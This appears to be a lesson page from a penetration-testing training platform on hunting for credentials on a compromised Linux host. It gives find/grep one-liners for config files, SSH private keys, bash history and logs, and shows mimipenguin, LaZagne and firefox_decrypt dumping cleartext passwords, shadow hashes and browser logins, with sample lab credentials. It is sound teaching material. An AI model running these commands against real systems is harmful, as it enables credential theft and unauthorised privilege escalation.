

Credential Hunting in Linux

Hunting for credentials is one of the first steps once we have access to the system. These low-hanging fruits can give us elevated privileges within seconds or minutes. Among other things, this is part of the local privilege escalation process that we will cover here. However, it is important to note here that we are far from covering all possible situations and therefore focus on the different approaches.

We can imagine that we have successfully gained access to a system via a vulnerable web application and have therefore obtained a reverse shell, for example. Therefore, to escalate our privileges most efficiently, we can search for passwords or even whole credentials that we can use to log in to our target. There are several sources that can provide us with credentials that we put in four categories. These include, but are not limited to:

Files	History	Memory	Key-Rings
Configs	Logs	Cache	Browser stored credentials
Databases	Command-line History	In-memory Processing	
Notes			
Scripts			
Source codes			
Cronjobs			
SSH Keys			

Enumerating all these categories will allow us to increase the probability of successfully finding out with some ease credentials of existing users on the system. There are countless different situations in which we will always see different results. Therefore, we should adapt our approach to the circumstances of the environment and keep the big picture in mind. Above all, it is crucial to keep in mind how the system works, its focus, what purpose it exists for, and what role it plays in the business logic and the overall network. For example, suppose it is an isolated database server. In that case, we will not necessarily find normal users there since it is a sensitive interface in the management of data to which only a few people are granted access.

Files

One core principle of Linux is that everything is a file. Therefore, it is crucial to keep this concept in mind and search, find and filter the appropriate files according to our requirements. We should look for, find, and inspect several categories of files one by one. These categories are the following:

Configuration files	Databases	Notes
Scripts	Cronjobs	SSH keys

Configuration files are the core of the functionality of services on Linux distributions. Often they even contain credentials that we will be able to read. Their insight also allows us to understand how the service works and its requirements precisely. Usually, the configuration files are marked with the following three file extensions (`.config`, `.conf`, `.cnf`). However, these configuration files or the associated extension files can be renamed, which means that these file extensions are not necessarily required. Furthermore, even

when recompiling a service, the required filename for the basic configuration can be changed, which would result in the same effect. However, this is a rare case that we will not encounter often, but this possibility should not be left out of our search.

The most crucial part of any system enumeration is to obtain an overview of it. Therefore, the first step should be to find all possible configuration files on the system, which we can then examine and analyze individually in more detail. There are many methods to find these configuration files, and with the following method, we will see we have reduced our search to these three file extensions.

Configuration Files

Credential Hunting in Linux

```
cry0l1t3@unixclient:~$ for l in $(echo ".conf .config .cnf");do echo -e "\nFile extension: " $l; find / -name $l
```

File extension: .conf
/run/tmpfiles.d/static-nodes.conf
/run/NetworkManager/resolv.conf
/run/NetworkManager/no-stub-resolv.conf
/run/NetworkManager/conf.d/10-globally-managed-devices.conf
...SNIP...
/etc/ltrace.conf
/etc/rygel.conf
/etc/ld.so.conf.d/x86_64-linux-gnu.conf
/etc/ld.so.conf.d/fakeroot-x86_64-linux-gnu.conf
/etc/fprintd.conf

File extension: .config
/usr/src/linux-headers-5.13.0-27-generic/.config
/usr/src/linux-headers-5.11.0-27-generic/.config
/usr/src/linux-hwe-5.13-headers-5.13.0-27/tools/perf/Makefile.config
/usr/src/linux-hwe-5.13-headers-5.13.0-27/tools/power/acpi/Makefile.config
/usr/src/linux-hwe-5.11-headers-5.11.0-27/tools/perf/Makefile.config
/usr/src/linux-hwe-5.11-headers-5.11.0-27/tools/power/acpi/Makefile.config
/home/cry0l1t3/.config
/etc/X11/Xwrapper.config
/etc/manpath.config

File extension: .cnf
/etc/ssl/openssl.cnf
/etc/alternatives/my.cnf
/etc/mysql/my.cnf
/etc/mysql/debian.cnf
/etc/mysql/mysql.conf.d/mysqld.cnf
/etc/mysql/mysql.conf.d/mysql.cnf
/etc/mysql/mysql.cnf
/etc/mysql/conf.d/mysqldump.cnf
/etc/mysql/conf.d/mysql.cnf

Optionally, we can save the result in a text file and use it to examine the individual files one after the other. Another option is to run the scan directly for each file found with the specified file extension and output the contents. In this example, we search for three words (`user`, `password`, `pass`) in each file with the file extension `.cnf`.

Credentials in Configuration Files

Credential Hunting in Linux

```
cry0l1t3@unixclient:~$ for i in $(find / -name *.cnf 2>/dev/null | grep -v "doc\\|lib");do echo -e "\nFile: " $i
```

File: /snap/core18/2128/etc/ssl/openssl.cnf
challengePassword = A challenge password

File: /usr/share/ssl-cert/ssleay.cnf

File: /etc/ssl/openssl.cnf
challengePassword = A challenge password

```
File: /etc/alternatives/my.cnf

File: /etc/mysql/my.cnf

File: /etc/mysql/debian.cnf

File: /etc/mysql/mysql.conf.d/mysqld.cnf
user      = mysql

File: /etc/mysql/mysql.conf.d/mysql.cnf

File: /etc/mysql/mysql.cnf

File: /etc/mysql/conf.d/mysqldump.cnf

File: /etc/mysql/conf.d/mysql.cnf
```

We can apply this simple search to the other file extensions as well. Additionally, we can apply this search type to databases stored in files with different file extensions, and we can then read those.

Databases

Credential Hunting in Linux

```
cry0l1t3@unixclient:~$ for l in $(echo ".sql .db *.db *.db*");do echo -e "\nDB File extension: " $l; find / -name $l
```

DB File extension: .sql

DB File extension: .db

```
/var/cache/dictionaries-common/ispell.db
/var/cache/dictionaries-common/aspell.db
/var/cache/dictionaries-common/wordlist.db
/var/cache/dictionaries-common/hunspell.db
/home/cry0l1t3/.mozilla/firefox/1bplpd86.default-release/cert9.db
/home/cry0l1t3/.mozilla/firefox/1bplpd86.default-release/key4.db
/home/cry0l1t3/.cache/tracker/meta.db
```

DB File extension: *.db

```
/var/cache/dictionaries-common/ispell.db
/var/cache/dictionaries-common/aspell.db
/var/cache/dictionaries-common/wordlist.db
/var/cache/dictionaries-common/hunspell.db
/home/cry0l1t3/.mozilla/firefox/1bplpd86.default-release/cert9.db
/home/cry0l1t3/.mozilla/firefox/1bplpd86.default-release/key4.db
/home/cry0l1t3/.config/pulse/3a1ee8276bbe4c8e8d767a2888fc2b1e-card-database.tdb
/home/cry0l1t3/.config/pulse/3a1ee8276bbe4c8e8d767a2888fc2b1e-device-volumes.tdb
/home/cry0l1t3/.config/pulse/3a1ee8276bbe4c8e8d767a2888fc2b1e-stream-volumes.tdb
/home/cry0l1t3/.cache/tracker/meta.db
/home/cry0l1t3/.cache/tracker/ontologies.gvdb
```

DB File extension: .db*

```
/var/cache/dictionaries-common/ispell.db
/var/cache/dictionaries-common/aspell.db
/var/cache/dictionaries-common/wordlist.db
/var/cache/dictionaries-common/hunspell.db
/home/cry0l1t3/.dbus
/home/cry0l1t3/.mozilla/firefox/1bplpd86.default-release/cert9.db
/home/cry0l1t3/.mozilla/firefox/1bplpd86.default-release/key4.db
/home/cry0l1t3/.cache/tracker/meta.db-shm
/home/cry0l1t3/.cache/tracker/meta.db-wal
/home/cry0l1t3/.cache/tracker/meta.db
```

Depending on the environment we are in and the purpose of the host we are on, we can often find notes about specific processes on the system. These often include lists of many different access points or even their credentials. However, it is often challenging to find notes right away if stored somewhere on the system and not on the desktop or in its subfolders. This is because they can be named

anything and do not have to have a specific file extension, such as `.txt`. Therefore, in this case, we need to search for files including the `.txt` file extension and files that have no file extension at all.

Notes

Credential Hunting in Linux

```
cry0l1t3@unixclient:~$ find /home/* -type f -name "*.txt" -o ! -name "*.*"

/home/cry0l1t3/.config/caja/desktop-metadata
/home/cry0l1t3/.config/clipit/clipitrc
/home/cry0l1t3/.config/dconf/user
/home/cry0l1t3/.mozilla/firefox/bh4w5vd0.default-esr/pkcs11.txt
/home/cry0l1t3/.mozilla/firefox/bh4w5vd0.default-esr/serviceworker.txt
...SNIP...
```

Scripts are files that often contain highly sensitive information and processes. Among other things, these also contain credentials that are necessary to be able to call up and execute the processes automatically. Otherwise, the administrator or developer would have to enter the corresponding password each time the script or the compiled program is called.

Scripts

Credential Hunting in Linux

```
cry0l1t3@unixclient:~$ for l in $(echo ".py .pyc .pl .go .jar .c .sh");do echo -e "\nFile extension: " $l; find

File extension: .py

File extension: .pyc

File extension: .pl

File extension: .go

File extension: .jar

File extension: .c

File extension: .sh
/snap/gnome-3-34-1804/72/etc/profile.d/vte-2.91.sh
/snap/gnome-3-34-1804/72/usr/bin/gettext.sh
/snap/core18/2128/etc/init.d/hwclock.sh
/snap/core18/2128/etc/wpa_supplicant/action_wpa.sh
/snap/core18/2128/etc/wpa_supplicant/functions.sh
...SNIP...
/etc/profile.d/xdg_dirs_desktop_session.sh
/etc/profile.d/cedilla-portuguese.sh
/etc/profile.d/im-config_wayland.sh
/etc/profile.d/vte-2.91.sh
/etc/profile.d/bash_completion.sh
/etc/profile.d/apps-bin-path.sh
```

Cronjobs are independent execution of commands, programs, scripts. These are divided into the system-wide area (`/etc/crontab`) and user-dependent executions. Some applications and scripts require credentials to run and are therefore incorrectly entered in the cronjobs. Furthermore, there are the areas that are divided into different time ranges (`/etc/cron.daily`, `/etc/cron.hourly`, `/etc/cron.monthly`, `/etc/cron.weekly`). The scripts and files used by `cron` can also be found in `/etc/cron.d/` for Debian-based distributions.

Cronjobs

Credential Hunting in Linux

```
cry0l1t3@unixclient:~$ cat /etc/crontab

# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab`
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# Example of job definition:
# .----- minute (0 - 59)
# | .----- hour (0 - 23)
# | | .----- day of month (1 - 31)
# | | | .----- month (1 - 12) OR jan,feb,mar,apr ...
# | | | | .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# | | | | |
# * * * * * user-name command to be executed
17 * * * * root cd / && run-parts --report /etc/cron.hourly
```

Credential Hunting in Linux

```
cry0l1t3@unixclient:~$ ls -la /etc/cron.*

/etc/cron.d/:
total 28
drwxr-xr-x 1 root root 106  3. Jan 20:27 .
drwxr-xr-x 1 root root 5728 1. Feb 00:06 ..
-rw-r--r-- 1 root root 201  1. Mär 2021 e2scrub_all
-rw-r--r-- 1 root root 331  9. Jan 2021 geoipupdate
-rw-r--r-- 1 root root 607 25. Jan 2021 john
-rw-r--r-- 1 root root 589 14. Sep 2020 mdadm
-rw-r--r-- 1 root root 712 11. Mai 2020 php
-rw-r--r-- 1 root root 102 22. Feb 2021 .placeholder
-rw-r--r-- 1 root root 396  2. Feb 2021 sysstat

/etc/cron.daily/:
total 68
drwxr-xr-x 1 root root 252  6. Jan 16:24 .
drwxr-xr-x 1 root root 5728 1. Feb 00:06 ..
...SNIP...
```

SSH Keys

SSH keys can be considered "access cards" for the SSH protocol used for the public key authentication mechanism. A file is generated for the client (**Private key**) and a corresponding one for the server (**Public key**). However, these are not the same, so knowing the **public key** is insufficient to find a **private key**. The **public key** can verify signatures generated by the private SSH key and thus enables automatic login to the server. Even if unauthorized persons get hold of the public key, it is almost impossible to calculate the matching private one from it. When connecting to the server using the private SSH key, the server checks whether the private key is valid and lets the client log in accordingly. Thus, passwords are no longer needed to connect via SSH.

Since the SSH keys can be named arbitrarily, we cannot search them for specific names. However, their format allows us to identify them uniquely because, whether public key or private key, both have unique first lines to distinguish them.

SSH Private Keys

Credential Hunting in Linux

```
cry0l1t3@unixclient:~$ grep -rnw "PRIVATE KEY" /home/* 2>/dev/null | grep ":1"

/home/cry0l1t3/.ssh/internal_db:1:-----BEGIN OPENSSH PRIVATE KEY-----
```

SSH Public Keys

Credential Hunting in Linux

```
cry0l1t3@unixclient:~$ grep -rnw "ssh-rsa" /home/* 2>/dev/null | grep ":1"

/home/cry0l1t3/.ssh/internal_db.pub:1:ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAQgQCraK
```

History

All history files provide crucial information about the current and past/historical course of processes. We are interested in the files that store users' command history and the logs that store information about system processes.

In the history of the commands entered on Linux distributions that use Bash as a standard shell, we find the associated files in `.bash_history`. Nevertheless, other files like `.bashrc` or `.bash_profile` can contain important information.

Bash History

Credential Hunting in Linux

```
cry0l1t3@unixclient:~$ tail -n5 /home/*/.bash*

==> /home/cry0l1t3/.bash_history <==
vim ~/testing.txt
vim ~/testing.txt
chmod 755 /tmp/api.py
su
/tmp/api.py cry0l1t3 6mX4UP1eWH3HXX

==> /home/cry0l1t3/.bashrc <==
. /usr/share/bash-completion/bash_completion
elif [ -f /etc/bash_completion ]; then
. /etc/bash_completion
fi
fi
```

Logs

An essential concept of Linux systems is log files that are stored in text files. Many programs, especially all services and the system itself, write such files. In them, we find system errors, detect problems regarding services or follow what the system is doing in the background. The entirety of log files can be divided into four categories:

Application Logs	Event Logs	Service Logs	System Logs
------------------	------------	--------------	-------------

Many different logs exist on the system. These can vary depending on the applications installed, but here are some of the most important ones:

Log File	Description
<code>/var/log/messages</code>	Generic system activity logs.
<code>/var/log/syslog</code>	Generic system activity logs.
<code>/var/log/auth.log</code>	(Debian) All authentication related logs.
<code>/var/log/secure</code>	(RedHat/CentOS) All authentication related logs.

<code>/var/log/boot.log</code>	Bootup information.
<code>/var/log/dmesg</code>	Hardware and drivers related information and logs.
<code>/var/log/kern.log</code>	Kernel related warnings, errors and logs.
<code>/var/log/faillog</code>	Failed login attempts.
<code>/var/log/cron</code>	Information related to cron jobs.
<code>/var/log/mail.log</code>	All mail server related logs.
<code>/var/log/httpd</code>	All Apache related logs.
<code>/var/log/mysql.log</code>	All MySQL server related logs.

Covering the analysis of these log files in detail would be inefficient in this case. So at this point, we should familiarize ourselves with the individual logs, first examining them manually and understanding their formats. However, here are some strings we can use to find interesting content in the logs:

Credential Hunting in Linux

```
cry0l1t3@unixclient:~$ for i in $(ls /var/log/* 2>/dev/null);do GREP=$(grep "accepted\|session opened\|session
#### Log file: /var/log/dpkg.log.1
2022-01-10 17:57:41 install libssh-dev:amd64 <none> 0.9.5-1+deb11u1
2022-01-10 17:57:41 status half-installed libssh-dev:amd64 0.9.5-1+deb11u1
2022-01-10 17:57:41 status unpacked libssh-dev:amd64 0.9.5-1+deb11u1
2022-01-10 17:57:41 configure libssh-dev:amd64 0.9.5-1+deb11u1 <none>
2022-01-10 17:57:41 status unpacked libssh-dev:amd64 0.9.5-1+deb11u1
2022-01-10 17:57:41 status half-configured libssh-dev:amd64 0.9.5-1+deb11u1
2022-01-10 17:57:41 status installed libssh-dev:amd64 0.9.5-1+deb11u1

...SNIP...
```

Memory and Cache

Many applications and processes work with credentials needed for authentication and store them either in memory or in files so that they can be reused. For example, it may be the system-required credentials for the logged-in users. Another example is the credentials stored in the browsers, which can also be read. In order to retrieve this type of information from Linux distributions, there is a tool called [mimipenguin](#) that makes the whole process easier. However, this tool requires administrator/root permissions.

Memory - Mimipenguin

Credential Hunting in Linux

```
cry0l1t3@unixclient:~$ sudo python3 mimipenguin.py
[sudo] password for cry0l1t3:

[SYSTEM - GNOME] cry0l1t3:WLPaEXFa0Sbq0HY

cry0l1t3@unixclient:~$ sudo bash mimipenguin.sh
[sudo] password for cry0l1t3:

MimiPenguin Results:
[SYSTEM - GNOME] cry0l1t3:WLPaEXFa0Sbq0HY
```

An even more powerful tool we can use that was mentioned earlier in the Credential Hunting in Windows section is [LaZagne](#). This tool allows us to access far more resources and extract the credentials. The passwords and hashes we can obtain come from the

allows us to access far more resources and extract the credentials. The passwords and hashes we can obtain come from the following sources but are not limited to:

Wifi	Wpa_supplicant	Libsecret	Kwallet
Chromium-based	CLI	Mozilla	Thunderbird
Git	Env_variable	Grub	Fstab
AWS	Filezilla	Gftp	SSH
Apache	Shadow	Docker	KeePass
Mimipy	Sessions	Keyrings	

For example, **Keyrings** are used for secure storage and management of passwords on Linux distributions. Passwords are stored encrypted and protected with a master password. It is an OS-based password manager, which we will discuss later in another section. This way, we do not need to remember every single password and can save repeated password entries.

Memory - LaZagne

```
Credential Hunting in Linux

cry0l1t3@unixclient:~$ sudo python2.7 laZagne.py all

|=====|
|                                     |
|               The LaZagne Project   |
|                                     |
|               ! BANG BANG !         |
|                                     |
|=====|

----- Shadow passwords -----

[+] Hash found !!!
Login: systemd-coredump
Hash: !!:18858:::

[+] Hash found !!!
Login: sambauser
Hash: $6$wgK4tGq7Jepa.V0g$QkxvseL.xkC3jo682xhSGoXX0GcBwPLc2CrAPugD6PYXWQlBkiwwFs7x/fhI.8negiUSPqaWYv7wC8uwsWPr

[+] Password found !!!
Login: cry0l1t3
Password: WLPaEXFa0Sbq0HY

[+] 3 passwords have been found.
For more information launch it again with the -v option

elapsed time = 3.50091600418
```

Browsers

Browsers store the passwords saved by the user in an encrypted form locally on the system to be reused. For example, the **Mozilla Firefox** browser stores the credentials encrypted in a hidden folder for the respective user. These often include the associated field names, URLs, and other valuable information.

For example, when we store credentials for a web page in the Firefox browser, they are encrypted and stored in **logins.json** on the system. However, this does not mean that they are safe there. Many employees store such login data in their browser without suspecting that it can easily be decrypted and used against the company.

Firefox Stored Credentials

Credential Hunting in Linux

```
cry0l1t3@unixclient:~$ ls -l .mozilla/firefox/ | grep default

drwx----- 11 cry0l1t3 cry0l1t3 4096 Jan 28 16:02 1bplpd86.default-release
drwx-----  2 cry0l1t3 cry0l1t3 4096 Jan 28 13:30 lfx3lvhb.default
```

Credential Hunting in Linux

```
cry0l1t3@unixclient:~$ cat .mozilla/firefox/1bplpd86.default-release/logins.json | jq .

{
  "nextId": 2,
  "logins": [
    {
      "id": 1,
      "hostname": "https://www.inlanefreight.com",
      "httpRealm": null,
      "formSubmitURL": "https://www.inlanefreight.com",
      "usernameField": "username",
      "passwordField": "password",
      "encryptedUsername": "MDoEEPgAAAA...SNIP...1liQiqBBAG/8/UpqwnLEPScm0uecyr",
      "encryptedPassword": "MEIEEPgAAAA...SNIP...FrESc4A300BBiyS2HR98xsmLrMCRcX2T9Pm14PMp3bpmE=",
      "guid": "{412629aa-4113-4ff9-befe-dd9b4ca388e2}",
      "encType": 1,
      "timeCreated": 1643373110869,
      "timeLastUsed": 1643373110869,
      "timePasswordChanged": 1643373110869,
      "timesUsed": 1
    }
  ],
  "potentiallyVulnerablePasswords": [],
  "dismissedBreachAlertsByLoginGUID": {},
  "version": 3
}
```

The tool [Firefox Decrypt](#) is excellent for decrypting these credentials, and is updated regularly. It requires Python 3.9 to run the latest version. Otherwise, [Firefox Decrypt 0.7.0](#) with Python 2 must be used.

Decrypting Firefox Credentials

Credential Hunting in Linux

```
dbcyp0n@htb[/htb]$ python3.9 firefox_decrypt.py

Select the Mozilla profile you wish to decrypt
1 -> lfx3lvhb.default
2 -> 1bplpd86.default-release

2

Website:  https://testing.dev.inlanefreight.com
Username: 'test'
Password: 'test'

Website:  https://www.inlanefreight.com
Username: 'cry0l1t3'
Password: 'FzXUxJemKm6g2lGh'
```

Alternatively, [LaZagne](#) can also return results if the user has used the supported browser.

Browsers - LaZagne

Credential Hunting in Linux

```
cry0l1t3@unixclient:~$ python3 laZagne.py browsers

|=====|
|                                     |
|               The LaZagne Project   |
|                                     |
|               ! BANG BANG !         |
|                                     |
|=====|

----- Firefox passwords -----

[+] Password found !!!
URL: https://testing.dev.inlanefreight.com
Login: test
Password: test

[+] Password found !!!
URL: https://www.inlanefreight.com
Login: cry0l1t3
Password: FzXUxJemKm6g2lGh

[+] 2 passwords have been found.
For more information launch it again with the -v option

elapsed time = 0.2310788631439209
```

VPN Servers

⚠ Warning: Each time you "Switch", your connection keys are regenerated and you must re-download your VPN connection file.

All VM instances associated with the old VPN Server will be terminated when switching to a new VPN server.

Existing PwnBox instances will automatically switch to the new VPN server.

us-academy-1

PROTOCOL

● UDP 1337 ● TCP 443

DOWNLOAD VPN CONNECTION FILE



Connect to Pwnbox

Your own web-based Parrot Linux instance to play our labs.

Pwnbox Location

AU

52ms ▼

Terminate Pwnbox to switch location

Start Instance

∞ / 1 spawns left

Waiting to start...



Questions

Answer the question(s) below to complete this Section and earn cubes!

Target: [Click here to spawn the target system!](#)



Cheat Sheet



Download VPN
Connection File

+ 0

Examine the target and find out the password of the user Will. Then, submit the password as the answer.

Submit your answer here...

+10 Streak pts



Submit



Hint



Show Solution

← Previous

Next →



Cheat Sheet



Resources



Go to Questions

Table of Contents

Introduction

Theory of Protection



Credential Storage



John The Ripper



Remote Password Attacks

Network Services



Password Mutations



 Password Reuse / Default Passwords



Windows Local Password Attacks

 Attacking SAM



 Attacking LSASS



 Attacking Active Directory & NTDS.dit



 Credential Hunting in Windows



Linux Local Password Attacks

 [Credential Hunting in Linux](#)

 Passwd, Shadow & Opasswd

Windows Lateral Movement

 Pass the Hash (PtH)

 Pass the Ticket (PtT) from Windows

 Pass the Ticket (PtT) from Linux

Cracking Files

 Protected Files

 Protected Archives

Password Management

Password Policies

Password Managers

Skills Assessment

 Password Attacks Lab - Easy

 Password Attacks Lab - Medium

 Password Attacks Lab - Hard

My Workstation

O F F L I N E

 Start Instance

 / 1 spawns left